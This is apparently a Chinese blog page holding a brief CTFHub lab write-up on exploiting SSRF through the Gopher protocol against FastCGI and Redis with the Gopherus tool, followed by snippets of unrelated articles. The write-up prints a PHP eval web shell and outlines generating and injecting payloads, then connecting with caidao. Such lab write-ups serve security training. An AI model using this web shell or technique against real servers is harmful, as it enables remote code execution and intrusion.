CTFHub-FastCGI协议/Redis协议
将木马进行base64编码
<?php @eval($_GET[cmd]);?>
打开kali虚拟机，使用虚拟机中Gopherus-master工具
Gopherus-master工具安装
git clone https://github.com/tarunkant/Gopherus.git
进入工具目录
cd Gopherus
使用工具
python2 "位置" --exploit fastcgi
将得到的数据进行url编码
放到url=后面得到图下代表成功
打开文件，使用ls ../一级一级找flag
使用得到的flag_得到
打开kali虚拟机，使用虚拟机中Gopherus-master工具
python2 "位置” --exploit redis
将结果进行url编码
将数据放到url=后面
显示504不重要，重要的是木马有没有写进去
出现这个表示写进去了
使用caidao连接木马
相关文章：
CTFHub-FastCGI协议/Redis协议
将木马进行base64编码 <?php eval($_GET[cmd]);?> 打开kali虚拟机，使用虚拟机中Gopherus-master工具 Gopherus-master工具安装 git clone https://github.com/tarunkant/Gopherus.git 进入工具目录 cd Gopherus 使用工具 python2 "位置" --expl…...
【算法day4】最长回文子串——动态规划方法
最长回文子串 给你一个字符串 s，找到 s 中最长的 回文 子串。 https://leetcode.cn/problems/longest-palindromic-substring/submissions/607962358/ 动态规划： 回文串即是从前面开始读和从后面开始读，读出来的字符串均相同的字符串&#…...
C++之“string”类的模拟实现
🌹个人主页🌹：喜欢草莓熊的bear 🌹专栏🌹：C入门 前言 hello ，大家又来跟着bear学习了。一起奔向更好的自己，上篇博客已经讲清楚了string的一些功能的使用。我们就实现一些主要的功…...
请谈谈 HTTP 中的安全策略，如何防范常见的Web攻击（如XSS、CSRF）？
一、Web安全核心防御机制 （一）XSS攻击防御（跨站脚本攻击） 1. 原理与分类 存储型XSS：恶意脚本被持久化存储在服务端（如数据库）反射型XSS：脚本通过URL参数或表单提交触发执行…...
Python Flask 渲染静态程动态页面
Python Flask 渲染静态程动态页面 Python Flask 渲染静态程动态页面 Python Flask 渲染静态程动态页面 对网页应用程序来说，静态内容是重要的，因为它们包括 CSS 和 JavaScript 文件。静态文件可以直接由网页服务器提供。如果我们在我们的项目中创建一个…...
Unity大型游戏开发全流程指南
一、开发流程与核心步骤 1. 项目规划与设计阶段 需求分析 明确游戏类型（MMORPG/开放世界/竞技等）、核心玩法（战斗/建造/社交）、目标平台（PC/移动/主机）示例：MMORPG需规划角色成长树、副本Boss…...
Unity场景制作
一、关于后处理效果 然后可在后处理组件中添加各种效果 ACES : 电影感的强对比效果 添加了ACES后场景明显变暗，所以可以提高曝光度 Post-exposure 二、添加雾效 在Window的项目栏中选择Render中的Lighting 在环境属性中的其他设置中可勾选雾效，为场景中添…...
PCIE接口
PCIE接口 PIC接口介绍PIC总线结构PCI总线特点PCI总线的主要性能PIC的历程 PCIE接口介绍PCIe接口总线位宽PCIE速率GT/s和Gbps区别PCIE带宽计算 PCIE架构PCIe体系结构端到端的差分数据传递PCIe总线的层次结构事务层数据链路层物理层PCIe层级结构及功能框图 PCIe链路初始化PCIe链路…...
Leetcode 3479. Fruits Into Baskets III
Leetcode 3479. Fruits Into Baskets III 1. 解题思路2. 代码实现 题目链接：3479. Fruits Into Baskets III 1. 解题思路 这一题思路本质上就是考察每一个水果被考察时找到第一个满足条件且未被使用的basket。 因此，我们只需要将basket按照其capacit…...
小程序 -- uni-app开发微信小程序环境搭建（HBuilder X+微信开发者工具）
目录 前言 一 软件部分 1. 微信开发者工具 2. HBuilder X 开发工具 二 配置部分 1. 关于 HBuilder X 配置 2. 关于 微信开发工具 配置 三 运行项目 1. 新建项目 2. 代码编写 3. 内置浏览器 编译 4. 配置小程序 AppID获取 注意 四 实现效果 前言 uni-app开发小程…...
深度学习PyTorch之13种模型精度评估公式及调用方法
深度学习pytorch之22种损失函数数学公式和代码定义 深度学习pytorch之19种优化算法（optimizer）解析 深度学习pytorch之4种归一化方法（Normalization）原理公式解析和参数使用 深度学习pytorch之简单方法自定义9类卷积即插即用 实时…...
《云原生监控体系构建实录：从Prometheus到Grafana的观测革命》
PrometheusGrafana部署配置 Prometheus安装 下载Prometheus服务端 Download | PrometheusAn open-source monitoring system with a dimensional data model, flexible query language, efficient time series database and modern alerting approach.https://prometheus.io/…...
GHCTF2025--Web
upload?SSTI! import os import refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect from werkzeug.utils import secure_filename import os from werkzeug.utils import secure_filenameapp Flask(__name__)# 配置…...
NO.32十六届蓝桥杯备战|函数|库函数|自定义函数|实参|形参|传参(C++)
函数是什么 数学中我们其实就⻅过函数的概念，⽐如：⼀次函数 y kx b ，k和b都是常数，给⼀个任意的x ，就得到⼀个 y 值。其实在C/C语⾔中就引⼊了函数（function）的概念，有些翻译为&a…...
计算机视觉算法实战——老虎个体识别（主页有源码）
✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连✨ 1. 领域介绍 老虎个体识别是计算机视觉中的一个重要应用领域，旨在通过分析老虎的独特条纹图案，自动识别和区…...
【移动WEB开发】rem适配布局
目录 1. rem基础 2.媒体查询 2.1 语法规范 2.2 媒体查询rem 2.3 引入资源（理解） 3. less基础 3.1 维护css的弊端 3.2 less介绍 3.3 less变量 3.4 less编译 3.5 less嵌套 3.6 less运算 4. rem适配方案 4.1 rem实际开发 4.2 技术使用 4.3 …...
25年携程校招社招求职能力北森测评材料计算部分：备考要点与误区解析
在求职过程中，能力测评是筛选候选人的重要环节之一。对于携程这样的知名企业，其能力测评中的材料计算部分尤为关键。许多求职者在备考时容易陷入误区，导致在考试中表现不佳。本文将深入解析材料计算部分的实际考察方向，并提供针对…...
【Elasticsearch入门到落地】9、hotel数据结构分析
接上篇《8、RestClient操作索引库-基础介绍及导入demo》 上一篇我们介绍了RestClient的基础，并导入了使用Java语言编写的RestClient程序Demo以及将要分析的数据库。本篇我们就要分析导入的宾馆数据库tb_hotel表结构的具体含义，并分析如何建立其索引库。 …...
现代互联网网络安全与操作系统安全防御概要
现阶段国与国之间不用对方路由器，其实是有道理的，路由器破了，内网非常好攻击，内网共享开放端口也非常多，更容易攻击。还有些内存系统与pe系统自带浏览器都没有javascript脚本功能，也是有道理的，…...
轻量级TCC框架的实现
现有seata、tcc-transaction等tcc框架实现都较为重量级，今天主要带来一种轻量级的实现，大概只用了1200行代码实现。不依赖具体框架grpc、http、dubbo等，只需要业务系统按照标准化实现Try、Commit、Cancel实现接口即可。 已解决悬挂、幂等、空…...
OpenClaw技能安装失败全解析：从依赖冲突到网络问题的系统性解决方案
1. 项目概述：当技能“卡住”时，我们遇到了什么？最近在折腾OpenClaw这类开源AI助手平台时，不少朋友都踩进了同一个坑：从官方市场或者第三方渠道找到了心仪的技能（Skill），点击“安装”…...
PDF 可视化签名盖章页技术解析
本文是我在设备检测系统项目开发中，无设备检测的技术实现备忘录，记载实现过程。 本文以 PC 端页面 sign-pdf.vue 为主线，说明「无设备报检」在报告审批环节如何通过前后端协作，完成报告/记录 PDF 上的签名、印章、报告编号拖放定位，并在审批通过后由后端合并生成带签章的正…...
AI圈内火热的Agent、MCP、Skill、CLI是啥？用装修房子讲透，看完秒懂
本文用装修房子的比喻，详细解释了AI领域的四个核心概念：Agent如同会自主规划任务的私人助理；MCP是AI与外部工具数据的统一接口，类似USB-C；Skill是指导AI按标准操作执行的手册；CLI则是不依赖图形界面的命令行…...
WTF Auto Layout? 实战：10个常见约束冲突案例解析与解决方案
WTF Auto Layout? 实战：10个常见约束冲突案例解析与解决方案 【免费下载链接】wtfautolayout The source code for Why The Failure, Auto Layout? 项目地址: https://gitcode.com/gh_mirrors/wt/wtfautolayout 在iOS开发中，Auto Layout是构建灵…...
从单体到事件驱动的生死跃迁：DeepSeek架构委员会认证的6阶段迁移路线图（含风险热力图与回滚触发阈值表）
更多请点击： https://codechina.net 第一章：从单体到事件驱动的生死跃迁：DeepSeek架构委员会认证的6阶段迁移路线图（含风险热力图与回滚触发阈值表） 向事件驱动架构（EDA）演进不是功能迭代&…...
基于Meshtastic构建LoRa Mesh网络：从硬件自制到传感器集成实战
1. 项目概述：构建一个灵活且易用的LoRa Mesh网络 如果你对物联网、远程传感或者去中心化通信网络感兴趣，那么LoRa技术一定不会陌生。它以其超低功耗、超远距离和强大的抗干扰能力，成为了构建广域传感网络的理想选择。然而，传统的…...
如何快速实现U盘文件自动备份：USBCopyer终极指南
如何快速实现U盘文件自动备份：USBCopyer终极指南 【免费下载链接】USBCopyer 😉 用于在插上U盘后自动按需复制该U盘的文件。”备份&偷U盘文件的神器”（写作USBCopyer，读作USBCopier） 项目地址: https://gitcode.…...
ROS机器人仿真架构解析：基于wpr_simulation的移动操作机器人技术实现
ROS机器人仿真架构解析：基于wpr_simulation的移动操作机器人技术实现 【免费下载链接】wpr_simulation 项目地址: https://gitcode.com/gh_mirrors/wp/wpr_simulation 在机器人操作系统(ROS)开发领域，硬件依赖和测试成本一直是制约算法迭代效率的…...
函数的计算原理（附绘图代码）)
从复平面几何到Python代码：可视化理解NumPy中angle()函数的计算原理（附绘图代码）
从复平面几何到Python代码：可视化理解NumPy中angle()函数的计算原理（附绘图代码） 在数学和工程领域，复数不仅是抽象的概念，更是解决实际问题的有力工具。当我们谈论复数68j时，它不仅仅是一个符号组合——在…...
AI-eSIM 开启智联新入口，量讯物联助力企业把握万物智联新机遇
近期，在 2026 移动云大会 AI-eSIM 分论坛上，中国移动发布 AI-eSIM“139”多生态智能服务体系，引发物联网、智能终端与 AIoT 产业广泛关注。该体系以 1 个 AI-eSIM 芯片入口、3 大核心引擎、赋能 9 类重点场景，构建以 Token 为中心…...